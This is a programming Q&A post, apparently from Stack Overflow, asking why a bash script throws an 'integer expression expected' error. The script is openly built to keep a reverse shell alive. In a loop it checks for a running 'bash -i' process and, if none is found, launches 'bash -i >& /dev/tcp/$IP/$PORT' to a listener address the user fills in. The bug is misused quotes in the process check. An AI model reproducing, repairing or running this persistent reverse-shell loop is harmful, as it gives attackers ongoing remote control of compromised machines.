title: Error "Integer Expression Expected" in Bash script
body: <p>So, I'm trying to write a bash script to phone home with a reverse shell to a certain IP using bash if the program isn't already running. It's supposed to check every 20 seconds to see if the process is alive, and if it isn't, it'll execute the shell. However, I get the error <code>./ReverseShell.sh: line 9: [: ps -ef | grep "bash -i" | grep -v grep | wc -l: integer expression expected</code> When I attempt to execute my program. This is because I'm using -eq in my if statement. When I replace -eq with =, the program compiles, but it evaluates to 0 no matter what. </p>
  
  <p>What am I doing wrong? My code is below. </p>
  
  <pre><code>#!/bin/bash
  #A small program designed to establish and keep a reverse shell open
  
  
  IP=""               #Insert your IP here
  PORT=""             #Insert the Port you're listening on here. 
  
  while(true); do
          if [ 'ps -ef | grep "bash -i" | grep -v grep | wc -l' -eq 0 ]
          then
                  echo "Process not found, launching reverse shell to $IP on port $PORT"
                  bash -i &gt;&amp; /dev/tcp/$IP/$PORT 0&gt;&amp;1
                  sleep 20
          else
                  echo "Process found, sleeping for 20 seconds..."
                  ps -ef | grep "bash -i" | grep -v "grep" | wc -l
                  sleep 20
  
  
          fi
  
  
  done
  </code></pre>